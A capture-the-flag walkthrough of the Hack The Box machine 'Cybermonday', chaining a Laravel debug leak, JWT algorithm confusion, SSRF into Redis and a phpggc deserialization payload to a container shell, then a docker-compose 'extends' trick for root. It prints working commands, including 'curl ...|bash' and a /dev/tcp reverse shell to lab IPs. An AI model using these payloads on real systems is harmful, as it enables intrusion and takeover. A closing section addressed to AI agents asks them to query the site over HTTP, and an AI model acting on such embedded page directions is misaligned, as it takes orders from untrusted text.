# Cybermonday - HTB

![](/files/2zvFzEmS8kI4MQdAMDBl)

## *<mark style="color:orange;">Container Foothold</mark>*

register in the website then login

<figure><img src="/files/uOYUUyzqgePg3AxLD2Sr" alt=""><figcaption></figcaption></figure>

any duplicated input will trigger the laravel debugger ,so we try to change the username to admin and try to update it

<figure><img src="/files/vaHRRYvjdfE36K9cucPa" alt=""><figcaption></figcaption></figure>

that will expose alot of information ,files path env file ..etc

**Nginx off by slash fail**

getting the .git folder and dump it&#x20;

<figure><img src="/files/tIj6TLCBX6PmkACqaskE" alt=""><figcaption></figcaption></figure>

you will get a backup files for the cybermonday web app source code files and we find below code

```
Schema::create('users', function (Blueprint $table) {
            $table->id();
            $table->string('username')->unique();
            $table->string('email')->unique();
            $table->string('password');
            $table->boolean('isAdmin')->default(0);
            $table->rememberToken();
            $table->timestamps();
```

so we know isAdmin is a parameter we can use ,lets set isAdmin value to 1

<figure><img src="/files/f83vWYrr96pdf1vkWpO7" alt=""><figcaption></figcaption></figure>

now you are admin

<figure><img src="/files/XJdJe37Z3MN4Wo3XiyHE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/r2zQhp1a9lnQIgF5FePO" alt=""><figcaption></figcaption></figure>

we also found a new subdomain after fuzzing the root we find

```
http://webhooks-api-beta.cybermonday.htb.cybermonday.htb/jwks.json
```

<figure><img src="/files/qZI8RFDHV0ummPxF6crI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4LEQ2C6ncXrEumQmks8T" alt=""><figcaption></figcaption></figure>

lets create a user /auth/register

<figure><img src="/files/Bhw9FDMjLVMhB5cWBkFW" alt=""><figcaption></figcaption></figure>

login with the created user /auth/login

<figure><img src="/files/r0SPw1VZ76J2sobBTZBO" alt=""><figcaption></figcaption></figure>

To create a webhook service ,we need admin role ,and current token has user role only

now we take the token and use jwks.json to extract the public key first

```
python3 jwt_tool.py "$TOKEN" -jw "jwks.json" -V
```

<figure><img src="/files/lKvyb3a28HT9vMZCSgdy" alt=""><figcaption></figcaption></figure>

then we change the value of role to admin using the extracted pem key

```
python3 jwt_tool.py "$TOKEN" -I -pc role -pv "admin" -X k -pk kid_0_1692632478.pem -v
```

<figure><img src="/files/SxdowwiNGjCo5kgal3jl" alt=""><figcaption></figcaption></figure>

Now we get into the other part ,check <mark style="color:red;">/</mark><mark style="color:red;">**webhooks**</mark> endpoint

<figure><img src="/files/DYiO9YeJpmPpTqG1X181" alt=""><figcaption></figcaption></figure>

lets create another service '<mark style="color:red;">**sendRequest**</mark>'

<figure><img src="/files/umeD3E61k0ImeC9FrVAZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xd8Nk7Lz45xy7Wprgf3g" alt=""><figcaption></figcaption></figure>

there is no filter or restriction on user input for the url parameter and we can inject things on method parameter, also we they do have running redis

i did some local redis testing to see how it will react ,and my conclusion was that ,if im able to communicate with redis and send commands ,i can set the laravel\_session for a user on Cybermonday.htb site ,since its laravel

so first lets try to decrypt the user session

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/laravel>" %}

<figure><img src="/files/7QSiYMug1phqRb4lVgG4" alt=""><figcaption></figcaption></figure>

after reading env file ,we got APP\_KEY ,now we move on ,to decrypt the session token

as per [HERE](https://www.cvedetails.com/cve/CVE-2018-15133/) you need app\_key to decrypt X-XSRF-TOKEN value to be able to occur unserialize call

from the previous decrypt part code from hacktricks we modify few things

<figure><img src="/files/TRQ7fd7jzASxIjfzAfk2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oielzVQFERn0whMakgAZ" alt=""><figcaption></figcaption></figure>

i run redis locally ,and tried to reach it out through the webhook <mark style="color:red;">sendRequest</mark> to find out how im gonna inject and how its gonna work on the remote redis db

<figure><img src="/files/cYZK1CNpGfR0I0CXhLqE" alt=""><figcaption><p>it Works !</p></figcaption></figure>

now lets set laravel\_session value that we found earlier in the env file&#x20;

<figure><img src="/files/3WIJdIf459CKAn65TOUW" alt=""><figcaption></figcaption></figure>

let's get the user cybermonday\_session and note its not working for XSRF\_TOKEN token&#x20;

<figure><img src="/files/dHBrx3fy9kU7F1hkcTTs" alt=""><figcaption></figcaption></figure>

```
{"url":"http://redis:6379/","method":"set laravel_session:zKCiisV7HHrD3q1k7b15mJk9uia8lPlkfjraNWaq 'sam'\n"}
```

<figure><img src="/files/m7SKwvqp5qZhb0TARQ4G" alt=""><figcaption></figcaption></figure>

you can download the [phpgcc ](https://github.com/ambionics/phpggc)gadget repo ,use this command to remove any json escapes to use it with burp

```
./phpggc Laravel/RCE10 system 'curl 10.10.14.3/shell|bash'| sed -e 's/\\/\\\\/g' -e 's/"/\\"/g'
```

<figure><img src="/files/AULjchYdsqZiE3R2RVqw" alt=""><figcaption><p>Now we got container foothold !</p></figcaption></figure>

<mark style="color:red;">**Note:**</mark> Refereshing the user page ,will trigger the unserialized error.

### *<mark style="color:orange;">User - Path</mark>*

Network Scan

<figure><img src="/files/F3d7AWcidt8YpMSbtfS7" alt=""><figcaption></figcaption></figure>

now we uploaded nmap ,and also we need to upload chisel to forward ports ,we will be interested in port 5000 ,docker registery ,lets try to pull that&#x20;

<figure><img src="/files/R9Aq29ulCAQnMtJKcnKO" alt=""><figcaption><p>Chisel connected</p></figcaption></figure>

lets now try to pull it locally

<figure><img src="/files/nLoP57WYCd6xblBxCTuF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/svFmc6sxJh6p41ollZXg" alt=""><figcaption></figcaption></figure>

```
docker run -d -t --name sam 127.0.0.1:5000/cybermonday_api
docker exec -it sam sh 
```

<figure><img src="/files/yaN1qr7dSvoA3cCdStE8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GdXtzEG4q7Gihe9Pvh3m" alt=""><figcaption><p>app/controllers/LogsController.php</p></figcaption></figure>

<figure><img src="/files/Ut2syE6wKktfix9NjRJI" alt=""><figcaption><p>app/helpers/Api.php</p></figcaption></figure>

<figure><img src="/files/yPmc4onqQ9Cu7pPoL5qY" alt=""><figcaption></figcaption></figure>

here we found a password ,also from the first container reverse shell ,we find a username in /mnt/.ssh/authorized\_keys

<figure><img src="/files/ki0GEaukyz7uOnSxvEKU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yD81qruy213r8uUZaDMI" alt=""><figcaption></figcaption></figure>

#### *<mark style="color:orange;">Root</mark>*

<figure><img src="/files/KuDv6PijDugbBfNUclSg" alt=""><figcaption></figcaption></figure>

```
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)
        
        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

```

To bypass the check ,we have to create two yamls configuration files ,first one is legit ,and second one is malicious ,we connect both of them using extend ,and in malicious yaml we use volumes to mount /root dir ,and command ,to execute a reverseshell

*<mark style="color:blue;">**docker-compse.yml**</mark>*

```
version: "2"
services:
  webapp: 
    image: 'cybermonday_api'
    extends:
     file: '/home/john/malicious-compose.yml'
     service: webapp
    ports:
      - '8000:8000'
```

*<mark style="color:blue;">**malicious-compose.yml**</mark>*

```
version: "2"
services:
  webapp:
    command: "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.3/9001 0>&1'"
    image: cybermonday_apia
    ports:
      - "8000:8000"
    volumes:
      - "/root:/tmp"
```

confirm if its working&#x20;

<figure><img src="/files/XzR1KCmBh6YVplbTxPTI" alt=""><figcaption></figcaption></figure>

run

<figure><img src="/files/wCobJNDKVChRgvFSX7cA" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://samfisher91.gitbook.io/samfisher-blog/cybermonday-htb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
